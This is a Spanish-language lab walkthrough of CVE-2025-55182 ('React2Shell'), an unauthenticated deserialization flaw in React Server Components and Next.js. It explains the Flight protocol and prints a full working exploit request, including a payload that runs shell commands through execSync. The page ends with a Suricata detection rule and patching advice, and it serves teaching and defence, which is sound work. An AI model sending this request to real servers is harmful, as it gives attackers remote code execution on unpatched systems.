
React2Shell CVE-2025-55182: deserialización insegura no autenticada en React Server Components que conduce a una ejecución remota de código fiable a través del protocolo Flight.
Dificultad: Intermedio → Avanzado
Categoría: Explotación Web | Deserialización | RCE

CVE-2025-55182, apodado React2Shell, es una de esas vulnerabilidades que instantáneamente pone nerviosos a los defensores 😬. Descubierta en diciembre de 2025, tiene una puntuación CVSS de 10.0, lo que ya te dice que no es un error de caso límite.
En esencia, esta vulnerabilidad afecta a React Server Components (RSC) y a frameworks construidos sobre ellos — más notablemente Next.js. ¿La parte aterradora?
👉 Ejecución Remota de Código sin autenticación (RCE) 👉 Una única solicitud HTTP manipulada 👉 Las configuraciones por defecto son vulnerables
Sin inicio de sesión. Sin permisos especiales. Solo una solicitud bien formada.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackEsta sala nos guía a través de por qué existe este error, cómo se explota y qué pueden hacer los defensores al respecto.
Flag: No es necesaria respuesta.
Antes de la explotación, necesitamos claridad arquitectónica.
React Server Components (introducidos en React 19) permiten que partes de una aplicación React se ejecuten en el servidor, no en el navegador. Esto significa:
La comunicación entre cliente y servidor ocurre a través del protocolo React Flight. Este protocolo serializa datos en el cliente y los deserializa en el servidor.
Usa marcadores especiales:
$@ → Referencia de chunk
$B → Referencia de blob
Rutas de propiedades mediante notación de dos puntos Ejemplo:
$1:constructor:constructor
⚠️ Y esta lógica de serialización es exactamente donde las cosas salen mal.
Pregunta: ¿Qué símbolo denota una referencia de blob?
✅ Respuesta: $B
En el corazón de CVE-2025-55182 se encuentra una clásica falla de deserialización insegura.
Veamos el patrón vulnerable (no recortar 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... lógica adicional ...
return moduleExports[metadata[2]]; // LÍNEA VULNERABLE
}
En JavaScript, la notación de corchetes:
obj[someKey]
no limita el acceso solo a propiedades exportadas. Recorre toda la cadena de prototipos.
Ahora viene la visión crítica 👀:
.constructorconstructor apunta al constructor FunctionFunction("código") = ejecución arbitraria de JSDebido a que el protocolo Flight permite rutas separadas por dos puntos, un atacante puede enviar:
$1:constructor:constructor
Que se resuelve en:
.constructor.constructor nuevamente → FunctionEn este punto, juego terminado 🎮.
Flag: No es necesaria respuesta.
Ahora desglosemos el PoC de maple3142, paso a paso.
El atacante envía una solicitud multipart que contiene un objeto Chunk falso:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Este objeto imita la estructura interna de Chunk de React.
Al apuntar then a Chunk.prototype.then, React es engañado para esperar lógica controlada por el atacante.
El marcador $B1337 activa el manejador de deserialización de Blob, que internamente ejecuta:
response._formData.get(response._prefix + id)
Pero envenenamos:
_formData.get → Function_prefix → JS maliciosoEjecución resultante:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Se logró la ejecución arbitraria de JavaScript.
El PoC ejecuta:
process.mainModule
.require('child_process')
.execSync('xcalc')
Esto se puede reemplazar trivialmente con:
Flag: No es necesaria respuesta.
Aquí está la solicitud de exploit completa (textualmente, sin recortar):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…el cuerpo multipart continúa…)
Next-Action activa Server Actionsmultipart/form-data es obligatorio$@0 crea una auto-referencia$B1337 activa la lógica de Blobconstructor:constructor lleva a FunctionEsto no es accidental — es una cadena precisamente diseñada.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Otros: React Router (RSC), Waku, Redwood SDK
📊 Investigación de Wiz: 39% de los entornos en la nube expuestos 🌐 Shodan: 571k+ servidores React, 444k+ Next.js
Eso es… mucho 😶
Primero en Repeater, crea una nueva solicitud HTTP y selecciona el objetivo.

Usando Burp Suite Repeater, enviamos el payload:
execSync('id')

Y después:
execSync('whoami')

ubuntu{React-19.2.0}Explotación limpia, confiable y repetible 💀
Buenas noticias para los defensores 👮♂️ — la explotación deja huellas.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Estos nunca deberían aparecer en tráfico de usuario normal.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Perfecto para:

React2Shell es un ejemplo de libro de texto de:
Una vez instaladas las versiones parcheadas y seguidas las recomendaciones de npm audit, el exploit muere por completo ✅.
⚠️ Nunca pruebes esto fuera de laboratorios autorizados.
🔥 Siempre parchea rápido.
🧠 Siempre entiende por qué existe un error — no solo cómo explotarlo.
Si disfrutaste este artículo o quieres mantenerte conectado con mi trabajo en ciberseguridad, CTFs y VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Feliz hacking — responsablemente 🗿🚀